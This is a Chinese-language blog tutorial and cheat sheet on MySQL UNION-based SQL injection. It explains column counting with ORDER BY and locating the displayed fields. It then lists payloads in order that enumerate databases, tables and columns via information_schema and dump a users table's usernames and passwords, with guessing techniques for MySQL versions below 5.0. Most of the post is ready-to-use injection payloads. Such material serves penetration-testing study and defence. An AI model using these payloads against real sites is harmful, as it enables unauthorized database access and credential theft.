MYSQL联合注入

MySQL注入总结

简介

联合注入是使用了union select联合查询,通常用来拼接在where后面,联合注入的优势是自带多个显位,可以很快爆出数据,缺点是只能用在select最后处,后面如果还有sql语句就必须注释掉。而且必须用到union和select,很容易被拦截

特定变量

1\. SCHEMATA表 : 提供了当前mysql实例中所有数据库的信息。

2\. TABLES 表 : 提供了关于数据库中的表的信息。

3\. COLUMNS 表 :提供了表中的列信息

查询步骤

  1. 先确定字段数量。

    使用order/group by语句。通过往后边拼接数字,可确定字段数量, 若大于,则页面错误/无内容,若小于或等于,则页面正常。若错误页与正常页一样,更换报错注入/盲注

  2. 判断页面回显数据的字段位置。

    使用union select 1,2,3,4,x… 我们定义的数字将显示在页面上,即可从中判断页面显示的字段位置。

    注意:

    • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面现在了单行数据输出,我们让前边的 select查询条件返回结果为空即可

    • 注意一定要拼接够足够的字段数,否则SQL语句报错。PS:此方法也可作为判断前条 select语句的方法之一

    • union作用是连接多条查询语句,我们使用order by测试的字段数,是上一条查询语句中表格的字段数

  3. 在显示的字段位置使用子查询来查询数据,或直接查询也可。

    首先,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况,再根据不同的版本、不同的权限确定接下来的方法。

Mysql版本<5.0

简单的说,由于mysql的低版本缺乏系统库 information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠猜来解决。

直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。

若知道仅表名而不知道列(字段)名

可通过以下payload:

  • 若多字段:select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)a

  • 若单字段:select *,1,2,xxx from table_name

Mysql版本>=5.0

通过information_schema的数据库里的 shemata数据表查询全部数据库名。若不需要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。

tables表 //存储着全部的数据表信息
table_name字段 //保存所有数据库表的名字
table_schema字段 //保存其对应的数据库名
columns表 //可查询对应的数据库/数据库表含有的字段名

在这里插入图片描述

union select  1 ,2,group_concat (table_name), 4,xxxx from  information_schema .tables  where table_schema = database();

上述payload可查看全部的数据表名,其中**[[group_concat]]函数将多行数据转成一行数据**。

简单的说,查库名->查表名->查字段名->查数据

注入语句

1. 查询列数

	id=1 order by 3

1. 查看回显位

	id=\-1 union select 1,2,3

1. 查询变量信息

	id=\-1 union select 1,database(),3

1. 语句格式 

	union select 1 ,group\_concat(schema\_name),3 from information\_schema.schemata\-\-

1. 查询限制的其中一个数据库

	 from information\_schema.schemata 查询所有数据库

	SELECT 1,2,table\_name from information\_schema.tables where table\_schema=database() limit 0,1 

1. 查询表名

	SELECT 1,2,group\_concat(table\_name) from information\_schema.tables where table\_schema=database() 

1. 查询列名

	SELECT 1,2,group\_concat(column\_name) from information\_schema.columns where table\_name=’users’ 

1. 查询字段值

	SELECT 1,2,group\_concat(id,username,password) from users 
  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值